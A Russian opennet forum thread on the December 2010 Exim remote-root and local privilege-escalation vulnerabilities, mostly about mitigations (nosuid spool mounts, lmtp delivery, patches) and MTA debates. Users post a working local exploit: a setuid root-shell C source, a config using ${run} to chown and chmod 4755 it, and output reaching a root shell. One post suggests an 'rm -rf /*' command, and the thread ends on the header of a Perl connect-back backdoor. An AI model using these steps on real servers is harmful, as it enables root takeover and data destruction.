В популярном почтовом сервере Exim найдена (http://www.exim.org/lurker/message/20101207.215955.bb32d4f2....) критическая уязвимость, позволяющая удаленному злоумышленнику выполнить свой код на сервере с привилегиями суперпользователя. Уязвимость была выявлена в результате анализа причин взлома одного из серверов. Проанализировав собранный при помощи tcpdump слепок трафика на момент взлома, было выявлено, что взлом был произведен через определенным образом оформленный в секции "DATA" сверхбольшой блок данных, содержащий в своем теле блок "HeaderX: ${shell-код}".
С целью предотвращения волны проведения атак, до выпуска обновления представлено только общее описание атака, детали не разглашаются. Так как в определенных кругах подробности с методом эксплуатации данной проблемы уже известны, всем администраторам рекомендуется временно заблокировать работу почтового сервера или переконфигурировать (http://www.exim.org/exim-html-3.20/doc/html/spec_55.html) Exim для работы под неприви...URL: http://www.exim.org/lurker/message/20101207.215955.bb32d4f2....
Новость: http://www.opennet.me/opennews/art.shtml?num=28945
Больше интересен не эксплоит, а то, каким макаром в дебиане, из-под обычного пользователя так запросто рута дают?На кой тогда его не под рутом запускают, если так запросто рута получить???
читаем между строк:
"был сформирован файл "setuid" c кодом, призванным предоставить shell-доступ,"
Насколько я понял, на этапе инициализации он все равно от рута работает, что и позволяет (через специальный конфиг) подарить зловреду suid-бит.
Когда вы начните учить матчасть?
У вас какая-то особенная матчасть, которой нет у других?
конфиг читается от рута, в конфиге указано run { chmod 4755 ... } - троян делается суидным именно рутом. но вот кто же даст писать непривилегированному юзеру писать в /etc/exim/e.conf ???
они писали e.conf в /var/spool/exim4/
по дефолту exim читает из /var/spool/exim4/ конфиги?
нет :) они его "по дефолту" запускали из этого каталога шеллкодом :)
> На кой тогда его не под рутом запускают, если так запросто рута
> получить???Бинарник exim setuid ный от рута. При локальной доставке письма начальный процесс рутовый и делает setuid setgid до пользователя получателя. так во многих дистрибутивах. В документации непривилегированный вариант запуска назван "экзотическим" но возможен.
Вот моя заметка на эту тему http://www.opennet.me/tips/2452_mail_exim.shtml, только сейчас у меня немного подругому.
Убиться. Кто-то тут давеча рассказывал, что exim был чуть ли не переписан и теперь там с безопасностью все пучком... Те, кто опускал усиленно postfix :-)
Пока систему разрабатывает человек, в ней никогда не может быть 100%-ой безопасности.
Это понятно. Но я вот о таком:http://opennet.ru/openforum/vsluhforumID3/64241.html#20
http://opennet.ru/openforum/vsluhforumID3/64241.html#22Кастуем в тред "ALex_hha" :-)
> Это понятно. Но я вот о таком:
> http://opennet.ru/openforum/vsluhforumID3/64241.html#20
> http://opennet.ru/openforum/vsluhforumID3/64241.html#22
> Кастуем в тред "ALex_hha" :-)А чот я давно этого парня здесь не слышал:-)
На тот момент он был прав, разве не так ?
> На тот момент он был прав, разве не так ?В чем прав? В том, что buffer owerflow судя по changelog фиксять сравнительно регулярно до сих пор? :-) Отвечая на ваш вопрос - нет, в том споре не прав.
Ну а я считаю, что он прав. Насчет криворукости того админа тоже. Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов и рассылку(почти 400 000 писем в день). Ни разу за 5 лет не было нареканий по поводу его работы. О "buffer overflow" вообще только в сказках слышал.
> Ну а я считаю, что он прав. Насчет криворукости того админа тоже.
> Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов
> и рассылку(почти 400 000 писем в день). Ни разу за 5
> лет не было нареканий по поводу его работы. О "buffer overflow"
> вообще только в сказках слышал.Очевидно, что Вам
a) Повезло
b) Changelog'и Вы ну совсем не читаете.
в момент взлома был включен tcpdump?
я тоже что то не понял. у них он перманентно включен что ли? =)
Угу, сидят фтыкают в вывод с -X, мониторят взломы:)
> я тоже что то не понял. у них он перманентно включен что ли? =)Видимо не первый случай :)
"не первый случай" + honeypot
> я тоже что то не понял. у них он перманентно включен что
> ли? =)Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик за несколько дней. На всякий пожарный. А что, современные винты позволяют. Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем рабочими данными, а также такими вот служебными.
>> я тоже что то не понял. у них он перманентно включен что
>> ли? =)
> Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик
> за несколько дней. На всякий пожарный. А что, современные винты позволяют.
> Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем
> рабочими данными, а также такими вот служебными.Круто, молодец.
Ключевой момент:create another file e.conf with following content:
spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}the he runs:
exim -Ce.conf -q
pavel@suse64:/tmp> > test
pavel@suse64:/tmp> chown root:root test
chown: изменение владельца `test': Операция не позволяетсяЗначить Ехим должен был от рута работать. Тогда ничего удивительного нет,
если сервак запущенный от рута считывает пользовательские конфиги и есть команда ${run}Можно было бы и ${run {su -c "rm -rf /*"}}
Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-команды
> Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-командыЗимело.
Одинокий парсер бродил по конфигу Exim. Команды в exim были рыхлые и неровные, как первый снег, из-за комментариев и тут и там торчали shell-команды, и парсер всякий раз спотыкался об них, и ворча, начинал их исполнять. И вот он нашёл её, команду, которую бросился исполнять прямо от рута.
И в воздухе невообразимо запахло виндой.
Схоронил.
я думаю там еще и смеркалось ;)
какой парсинг ?что хекеры блин ждут момента када админ перезапустит экзим ?
да на момент парсинга конфига сокет даже не открывается
> какой парсинг ?
> что хекеры блин ждут момента када админ перезапустит экзим ?
> да на момент парсинга конфига сокет даже не открываетсяа sbin у exim-а зачем стоит?
>> какой парсинг ?
>> что хекеры блин ждут момента када админ перезапустит экзим ?
>> да на момент парсинга конфига сокет даже не открывается
> а sbin у exim-а зачем стоит?Пардон, tr/sbin/suid/
Наверное что бы захватить SMTP порт!
> Наверное что бы захватить SMTP порт!один про валенки, другой про синее
А как-то уже отвыклось от таких серьезных ошибках в Эксиме...
Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости сумели обнародовать?Чей сервер взломали? Когда и кто?
> Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости
> сумели обнародовать?
> Чей сервер взломали? Когда и кто?Сначала патч, потом твоё любопытство.
делаем от себя простого юзера
[pvg@c]$ id
uid=231(pvg) gid=500(pvg) группы=500(pvg)int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}gcc -o setuid setuid.c
cat c.conf
[pvg@c]$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /home/pvg/c/setuid}}${run{/bin/chmod 4755 /home/pvg/c/setuid}}
[pvg@c]$ /usr/sbin/exim -Cc.conf -q
2010-12-09 21:44:50 Failed to create directory "": No such file or directory
[pvg@c]$ ls -l
итого 20
-rw-rw-r-- 1 pvg pvg 110 Дек 9 21:39 c.conf
-rwsr-xr-x 1 pvg pvg 11915 Дек 9 21:40 setuid
-rw-rw-r-- 1 pvg pvg 103 Дек 9 21:36 setuid.cииии получаем.....
а где root????.... бит s вижу, а рута нет
где ошибка??????????
> [pvg@c]$ /usr/sbin/exim -Cc.conf -q.
Запускать нужно от пользователя до которого exim сбрасывает привилегии.
>after that attacker gets shell with id of user Debian-exim and cwd
>in /var/spool/exim4?then it put file there file setuid with trivial execution of root shell:
>[оверквотинг удален]
>execl("/bin/sh", "sh", NULL);
>}
>
>and create another file e.conf with following content:
>spool_directory = ${run{/bin/chown
>root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4>/setuid}}
>the he runs:
>exim -Ce.conf -q
>and gets suid bit on /var/spool/exim4/setuid
>everything else is trivial.suid да но от exim , а не от root
я
Где патчи??
chmod -w /var/spool/exim4/ на первое время поставил, от дураков...
Спасибо. Пока самое адекватное решение от скрипт-киддис и ботов. Судя по mailing list девелоперов понесло не совсем в ту степь и вообще у них траблы с воспроизведением проблемы.
А еще это решение отлично помогает от спама - 100% срезается
А вот и нет. К сожалению...
When this option is used by a caller other than root or the Exim user, and the list is different from
the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective
uid and gid set to those of the caller. However, if ALT_CONFIG_ROOT_ONLY is defined in Local/Makefile,
root privilege is retained for -C only if the caller of Exim is root.Похоже в Debian не используется ALT_CONFIG_ROOT_ONLY...
и такbash-3.2$ uname -a
Linux hhh.ddd.xxxx 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2$ cat suid.c
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 118 Дек 9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:08 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ id
uid=93(exim) gid=93(exim) группы=12(mail),93(exim)
bash-3.2$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /var/spool/exim/setuid}}${run{/bin/chmod 4755 /var/spool/exim/setuid}}
bash-3.2$ exim -C c.conf -q
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 118 Дек 9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:08 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ pwd
/var/spool/exim
bash-3.2$
---------------------------
где suid root ?
может и остальное тоже ?
Извините, ошибся, у меня suid, в конфе setuid
к сожалению в el5 работает, а в RH9 НЕТ
bash-3.2$ id
uid=93(exim) gid=93(exim) группы=12(mail),93(exim)
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 114 Дек 9 23:38 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:43 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ exim -C c.conf -q
bash-3.2$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /var/spool/exim/suid}}${run{/bin/chmod 4755 /var/spool/exim/suid}}
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 114 Дек 9 23:38 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwsr-xr-x 1 root root 7158 Дек 9 23:43 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ ./suid
sh-3.2# id
uid=0(root) gid=0(root)
sh-3.2#
А я пока сделал так от рута
>e.conf && chmod 400 e.conf
> А я пока сделал так от рута
>>e.conf && chmod 400 e.confи как оно поможет?
1. Тем у кого стоит exim - Немедленно снести.
2. Найти знакомых-умников, кто с пеной доказывал что exim лучше и безопаснее postfix и повозить рожей по столу.Go.
готово. я сделал.
спасибо за подробную инструкцию-наловил лулзов с любителей exim.
Лучше не использовать компы вообще - так уж точно безопасно... Если, конечно, кирпич с неба не свалится.
да просто отменить suid в каталоге спула exim через моунт,
обычно это так делается, а то занервничали :)
... а если спул exim-а находится на разделе на который нет возможности поставить nosuid . Как в этом случае быть? (не удаляя exim ^)
dd if=/dev/zero of=/var/exim.file bs=1M count=1024
mkfs.ext3 -m0 /var/exim.file
mount -o loop,nosuid /var/exim.file /var/spool/exim
не ?
а это уже проблема безопасности, не надо ложить яйца в одну корзину :)
чё за истерия...
я ещё в 18:00 вчерась у себя на всех сделал, и спал спокойноsrv0# mount|grep spool
tmpfs on /var/spool/exim (tmpfs, local, nosuid)
tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
srv0#
О, великий и ужасный lissyara, низкий поклон уважаемому покорителю BSD. )
Дайте сцылку, плз, чем tmpfs прекрасней tmpmfs?
P.S. Сорри за оффтоп.
> srv0# mount|grep spool
> tmpfs on /var/spool/exim (tmpfs, local, nosuid)
> tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
> srv0#tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит в девнул? странный повод для гордости.
>> srv0# mount|grep spool
>> tmpfs on /var/spool/exim (tmpfs, local, nosuid)
>> tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
>> srv0#
> tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит
> в девнул? странный повод для гордости.ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =)
бесперебойник, электроснабжение здания по первой категории, с двумя вводами от разных подстанций - у меня нет причин для беспокойства.
>ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =)Вот как меня подобное радует. Вы со времен терок про proftpd совсем не изменились.
1) Я не держу (и не держал) сервера дома, если не считать в (много лет назад) фидошный хаб и BBS (хихи).
2) Сервера - преимущественно Dell, от 2950 и выше, ну и HP блейды.
3) Тем не менее я замечательно видел как некривое железо начинает дохнуть. Еще видел как КЗ в системе с двумя БП прекрасно себе убивало материнку и толку от второго БП было чуть меньше чем 0.
4) Если бы все было так просто как вы написали - не заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями. Для меня вот - потеря спула является критичным фейлом, так как при этом потеряется огромное количество писем и я даже не смогу сказать что именно было потеряно.
5) Трапы и фри и линукса на самом прямом железе я видел достаточное количество раз, а некоторые даже сам репортил. В том числе и самые что ни на есть hardware independent.
Поддерживаю, чем больше парк машин, тем больше возникает "странностей" и тем быстрее пропадает иллюзия надежности железа/системы/апс-ок/...
>>ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =)
> Вот как меня подобное радует. Вы со времен терок про proftpd совсем
> не изменились.и не планирую. как я был неадекватом всю жизнь, так и помру им =))
что касается истории с proftpd - там лишь подтвердилось моё убеждение - пока матом когонгить [кто программить умеет] не обкроешь - ничего сделано не будет =)спасибо за сделанное, кстати. непомню, говорил или нет.
> 1) Я не держу (и не держал) сервера дома, если не считать
> в (много лет назад) фидошный хаб и BBS (хихи).я один держу, на антресолях. с ненужными данными =))
за 15 минут систему из бэкапа разверну если что, а данных непродублированных - там нет.>[оверквотинг удален]
> блейды.
> 3) Тем не менее я замечательно видел как некривое железо начинает дохнуть.
> Еще видел как КЗ в системе с двумя БП прекрасно себе
> убивало материнку и толку от второго БП было чуть меньше чем
> 0.
> 4) Если бы все было так просто как вы написали - не
> заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями.
> Для меня вот - потеря спула является критичным фейлом, так как
> при этом потеряется огромное количество писем и я даже не смогу
> сказать что именно было потеряно.для меня - тока в одном месте эта потеря являтся критической.
но там /var отдельно.> 5) Трапы и фри и линукса на самом прямом железе я видел
> достаточное количество раз, а некоторые даже сам репортил. В том числе
> и самые что ни на есть hardware independent.давно не видел, именно на прямом. но - из совсем прямого - тока пролианты остались, так что сравнивать не с чем.
>> 4) Если бы все было так просто как вы написали - не
>> заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями.
>> Для меня вот - потеря спула является критичным фейлом, так как
>> при этом потеряется огромное количество писем и я даже не смогу
>> сказать что именно было потеряно.
> для меня - тока в одном месте эта потеря являтся критической.
> но там /var отдельно.ууу... еще и вар не отдельной фс, как все печально у вас, однако.
>>> 4) Если бы все было так просто как вы написали - не
>>> заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями.
>>> Для меня вот - потеря спула является критичным фейлом, так как
>>> при этом потеряется огромное количество писем и я даже не смогу
>>> сказать что именно было потеряно.
>> для меня - тока в одном месте эта потеря являтся критической.
>> но там /var отдельно.
> ууу... еще и вар не отдельной фс, как все печально у вас,
> однако.та. последнее время стал старый и ленивый, и балуюсь таким
srv0$ df -h
Filesystem Size Used Avail Capacity Mounted on
/dev/label/rootFS 15G 5.0G 8.4G 37% /
devfs 1.0K 1.0K 0B 100% /dev
/dev/label/homeFS 117G 49G 58G 46% /home
tmpfs 7.0G 620K 7.0G 0% /tmp
linprocfs 4.0K 4.0K 0B 100% /proc
> ... а если спул exim-а находится на разделе на который нет возможности
> поставить nosuid . Как в этом случае быть? (не удаляя exim
> ^)Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и с программами - зло.
>> ... а если спул exim-а находится на разделе на который нет возможности
>> поставить nosuid . Как в этом случае быть? (не удаляя exim
>> ^)
> Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и
> с программами - зло.хе, а тут порой появляются умники, которые с пеной у рта доказывают, что один раздел под все - это правильно.
>>> ... а если спул exim-а находится на разделе на который нет возможности
>>> поставить nosuid . Как в этом случае быть? (не удаляя exim
>>> ^)
>> Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и
>> с программами - зло.
> хе, а тут порой появляются умники, которые с пеной у рта доказывают,
> что один раздел под все - это правильно.Ну и пусть доказывают. Сразу видно, что они ничего серьёзнее своего десктопа с игрушками и крякнутым Фотошопом никогда не админили.
> хе, а тут порой появляются умники, которые с пеной у рта доказывают,
> что один раздел под все - это правильно.Если они из контор по восстановлению данных и поднятию упавших систем, то вполне себе умники. Бизнес, ничего личного.
Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске. Зависит от обстоятельств.
> Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске.
> Зависит от обстоятельств.Не вижу никаких доводов в пользу установки всего на один раздел.
FreeBSD:# mount -t nullfs -o nosuid /var/nosuid /nosuid
# mount | grep -i nosuid
/var/nosuid on /nosuid (nullfs, local, nosuid)# /usr/local/etc/rc.d/exim stop
# mv /var/spool/exim /nosuid/
# ln -s /nosuid/exim /var/spool/exim
# ls -lF /var/spool/exim
lrwxr-xr-x 1 root wheel 12 Dec 10 13:19 /var/spool/exim@ -> /nosuid/exim# /usr/local/etc/rc.d/exim start
Вот и всё.
А на RH/Centos ?
Скорее
# ln -s /var/nosuid/exim /var/spool/exim
> Скорее
> # ln -s /var/nosuid/exim /var/spool/eximУверен? Точка монтирования /nosuid и через нее нужно обращаться.
>[оверквотинг удален]
> # mount | grep -i nosuid
> /var/nosuid on /nosuid (nullfs, local, nosuid)
> # /usr/local/etc/rc.d/exim stop
> # mv /var/spool/exim /nosuid/
> # ln -s /nosuid/exim /var/spool/exim
> # ls -lF /var/spool/exim
> lrwxr-xr-x 1 root wheel 12 Dec 10 13:19 /var/spool/exim@
> -> /nosuid/exim
> # /usr/local/etc/rc.d/exim start
> Вот и всё.поставь nosuid на весь /var, и успокойся, и вообще это должно быть сделано по умолчанию.
если нет возможности на спул поставить nosuid
как решение можно сделать так
1. сделать и настроить транспорт на lmtp (это нужно если ексим сам доставляет почту по майлбоксам под другим юзером локально)
2. снять суид с бинарника exmнапример роутер такой
localuser:
driver = accept
condition = ${lookup sqlite {/etc/exim/mail.db \
SELECT userid FROM mailusers WHERE userid='$local_part@$domain' AND smtp_allow='true'}}
убираем доставку самим эксимом #transport = maildir_delivery
transport = lmtp_delivery
cannot_route_message = Unknown mail user
и в транспортах
lmtp_delivery:
driver=smtp
protocol=lmtp
port = 24
hosts=127.0.0.1
allow_localhost
return_path_addпосле чего снимает suid с бинарника
> и в транспортах
> lmtp_delivery:
> driver=smtp
> protocol=lmtp
> port = 24
> hosts=127.0.0.1
> allow_localhost
> return_path_add
> после чего снимаем suid с бинарникану и само собой нужно настроить dovecot или что там у вас на доставку по lmtp
а вот так не канает (тем, у кого var на том же разделе)?service exim stop
mv /var/spool/exim /var/spool/exim2
mkdir /var/spool/exim
mount --bind /var/spool/exim2 /var/spool/exim -o nosuid
service exim startЕсть смысл так заворкэраундиться, простите мой хранцузский? :)
тоже неплохо,
но в моем способе вообще suid с бинарника убрать можно.
попробовал убирать суид с бинарника - не может запустить cyrus-доставку, потому как она вызывается с правами пользователя cyrus. пробовал менять на пользователя exim - не может попасть в /var/spool/imap. Добавил exim в группу mail и дал права группе на /var/spool/imap - все равно не работает доставка, ругается что не может обработать aliases, правов не хватает. пришлось таки вернуть suid.
> mount --bind /var/spool/exim2 /var/spool/exim -o nosuidэто не работает. suid атрибут всё равно можно ставить.
Так ведь suid-бит лишь дает право запуска с правами владельца, а системный вызов должен перемножить атрибуты файловой системы с атрибутами файла.
Если перевести на руссский, то это означает, что suid-ный бинарник на nosuid работать не будет.
> В популярном почтовом сервере Exim найденаПаникеры.
1) Быдловендоры всяких дебианов думают что они самые умные и им не надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е. 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396....
2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят HeaderX
http://www.exim.org/lurker/message/20101209.112914.68af6769....
Вот-вот.
Я даже новость "исправил", но изменения так и не были приняты...
>> В популярном почтовом сервере Exim найдена
> Паникеры.
> 1) Быдловендоры всяких дебианов думают что они самые умные и им не
> надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е.
> 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396....Дело не в этом, а в архитектурном решении доставки почты в exim. В бумажной почте почтальон не прикидывается пользователем, чтобы положить письмо в почтовый ящик, для него существует щёлочка - o+w. И тут тоже должны быть права на запись в почтовый ящик например группе mail. У меня вообще exim запускается sudo -u mail exim -bd; sudo -u mail exim -qq10m (с CAP_NET_BIND_SERVICE) и никаких рутовых setuid ов. Если процесс не имеет начальных привелегий рут, ломать сложнее.
> Паникеры.Вина целиком на разработчиках Exim, молча исправивших такую огромную дыру. В примечании к релизу 4.70 даже намеков не было. Но судя по тексту багрепорта (http://bugs.exim.org/show_bug.cgi?id=787), об опасности этой проблемы знали, но намеренно не придали огласке.
У вас какой-то свой, особенный changelog.Вот тут все более чем ясно: ftp://ftp.exim.org/pub/exim/ChangeLogs/ChangeLog-4.70
NM/09 Bugzilla 787: Potential buffer overflow in string_format
Patch provided by Eugene Bujak
Или они должны были сообщить об этом по CNN в Prime Time?
Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики exim пытались скрыть факты, это очевидно.
> Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики
> exim пытались скрыть факты, это очевидно.А еще они убили Лору Палмер и взорвали башни-близнецы. Те кто не в танке - прекрасно понимают, что переполнение буфера у suid процесса может в итоге дать рут. Эксплоит был типичный 0day, а фикс был помечен как теоретическая возможность использования. То, что мейнтейнер пакета спал и считал что переполнение буфера не является security issue и бекпортить фикс не нужно - проблема исключительно его и всех дебиан stable юзеров по совместительству. Либо надо обновлять версию (как в портах во фре, например), либо следить за changelogs и бекпортить подобные патчи.
>> В популярном почтовом сервере Exim найдена
> Паникеры.
> 1) Быдловендоры всяких дебианов думают что они самые умные и им не
> надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е.
> 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396....
> 2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят
> HeaderX
> http://www.exim.org/lurker/message/20101209.112914.68af6769....В Дебиане уже все пофикшено.
exim4 (4.69-9+lenny1) stable-security; urgency=high
* Non-maintainer upload by the Security Team.
* Fix SMTP file descriptors being leaked to processes invoked with ${run...}
* Fix memory corruption issue in string_format(). CVE-2010-4344
* Fix potential memory pool corruption issue in internal_lsearch_find().-- Stefan Fritsch <sf@debian.org> Fri, 10 Dec 2010 13:25:07 +0100
>[оверквотинг удален]
>> HeaderX
>> http://www.exim.org/lurker/message/20101209.112914.68af6769....
> В Дебиане уже все пофикшено.
> exim4 (4.69-9+lenny1) stable-security; urgency=high
> * Non-maintainer upload by the Security Team.
> * Fix SMTP file descriptors being leaked to processes invoked
> with ${run...}
> * Fix memory corruption issue in string_format(). CVE-2010-4344
> * Fix potential memory pool corruption issue in internal_lsearch_find().
> -- Stefan Fritsch <sf@debian.org> Fri, 10 Dec 2010 13:25:07 +0100Это должно было бы пофиксено два Exim`овскиз релиза назад, а не когда за яйца уже схватили!!!!!!!!! Обновления безопасности же наверно не так просто выходят, а?
Стесьняюсь уточнить один вопрос - в заголовке сказано, что исправлено в 4.70, а в тексте новости говорится, что подвержен 4.72.
Так как же обстоит на самом деле?
Там две разные дыры, в 4.70 поправлена удаленная уязвимость, а в 4.72 остается локальная фича, через которую можно поднять привилегии.
Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, как Exim.
> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
> как Exim.Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно будет подумать.
> Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно
> будет подумать.Имхо, любую задачу можно решить штатными средствами + через транспорты на внешние скрипты. Только эта схема далеко не всегда будет работать быстро.
А что не так с логами? Есть анализаторы, тот же postfix-pflogsumm, при этом он далеко не единственный.
> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
> как Exim.Не смешите, по поводу производительности. В Постфиксе с этим все гуд. Уступает он Эксиму только в гибкости конфигурации.
>> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
>> как Exim.
> Не смешите, по поводу производительности.Я не строила _больших_ систем на Postfix или Exim, только маштаба SMB-офиса(под сотню активных ящиков). Но моим коллегой был человек, который такую систему (тысяч 40 активных доменов) строил. По крайней мере рядом с НЕ монолитным Qmail Exim выглядит гораздо более быстрым уже по моему собственному опыту эксплуатации (уже существующей) большой системы.
Это его мнение, что Exim быстрее, чем Postfix, и в данном случае, я ему склонна верить, так как уважаю его профессионализм.Вот думаю: а может, в случае чего-то большего или среднего по маштабу, стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний почтовый сервер, вроде Postfix или Zimbra? Как это часто делают с Posftix или Exim для тормозного вендового Exchange? Хотя бы с точки зрения безопасности, при сохранении гибкости и производительности, эта схема должна быть более правильной (имхо), в крайнем случае, злоумышленник сможет только поспамить, и прочитать несколько писем в очереди Exim. Разумеется, Exim при этом предполагается в другом chroot/контейнере, или вообще в другой системе.
> Вот думаю: а может, в случае чего-то большего или среднего по маштабу,
> стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний...Не стоит. Postfix вполне справится и сам. Вот, кстати, суточная статистика с одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало и больше :-)
Total:
Total Connects In: 3193185 from 512174 hosts
Total Rejected Mail: 2920453
Total Greylisted Mail: 33055
Total Received Mail: 34790
Total Received Mail from Whitelisted: 16803
>[оверквотинг удален]
> одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало
> и больше :-)
> Total:
> Total Connects In: 3193185
> from 512174 hosts
> Total Rejected Mail: 2920453
> Total Greylisted Mail: 33055
> Total Received Mail: 34790
> Total Received Mail from
> Whitelisted: 16803А если не секрет, на чем реализован грейлистинг?
>[оверквотинг удален]
>> и больше :-)
>> Total:
>> Total Connects In: 3193185
>> from 512174 hosts
>> Total Rejected Mail: 2920453
>> Total Greylisted Mail: 33055
>> Total Received Mail: 34790
>> Total Received Mail from
>> Whitelisted: 16803
> А если не секрет, на чем реализован грейлистинг?milter-greylist. gps postfix daemon чего-то там со своими форками оказался ужас нах под текущей нагрузкой. А этот, с тредами и через milter очень хорош. Только хотелось оторвать мейнтейнеру фряшного порта руки, за то, что по-умолчанию дамп сбрасывается каждую минуту :-) Поставил 10 минут - все прекрасно.
а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже сбросил привелегии), ни локально в директорию, доступную для записи только руту (где основной конфиг exim, к примеру) нету.
> а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже
> сбросил привелегии), ни локально в директорию, доступную для записи только руту
> (где основной конфиг exim, к примеру) нету.Я по памяти, когда читал документацию, помню, что запускать с альтернативным конфигом могут только admin users и входящие в первичную группу пользователя exim. Или не так?
>подтверждена ошибка только в DebianВ CentOS она тоже есть.
https://www.centos.org/modules/newbb/viewtopic.php?topic_id=...
Хорошо бы уточнить версии Exim и CentOS
По ссылкам ходили?
как хорошо что я на postfix сижу.. было у меня 6 лет назад предубеждение к экзиму, гг.
Ты думаешь твой сервер на 10 человек кому то нужен? Тогда мы идем к вам :)
> Ты думаешь твой сервер на 10 человек кому то нужен? Тогда
> мы идем к вам :)С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось?
>> Ты думаешь твой сервер на 10 человек кому то нужен? Тогда
>> мы идем к вам :)
> С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось?товарисч - идолопоклонник рхела.
у таких - мнение не меняется =))
> товарисч - идолопоклонник рхела.
> у таких - мнение не меняется =))дак на FreeBSD те же грабли :D Почитай список рассылки ;)
Нет, ибо мой топик был относительно того времени, когда экзим разрабатывал Хазель. Вот когда Венема уйдет и забросит postfix, тогда и поговорим ;)
И Claus Assmann MeTA1?
Блин, поломали.
Стоит CentOS release 5.4 (Final) с exim 4.63-3.el5. Залили в /tmp/c.pl какой-то бэкдор:
cat /tmp/c.pl
#!/usr/bin/perl
use IO::Socket;
# Priv8 ** Priv8 ** Priv8
# IRAN HACKERS SABOTAGE Connect Back Shell
# code by:LorD
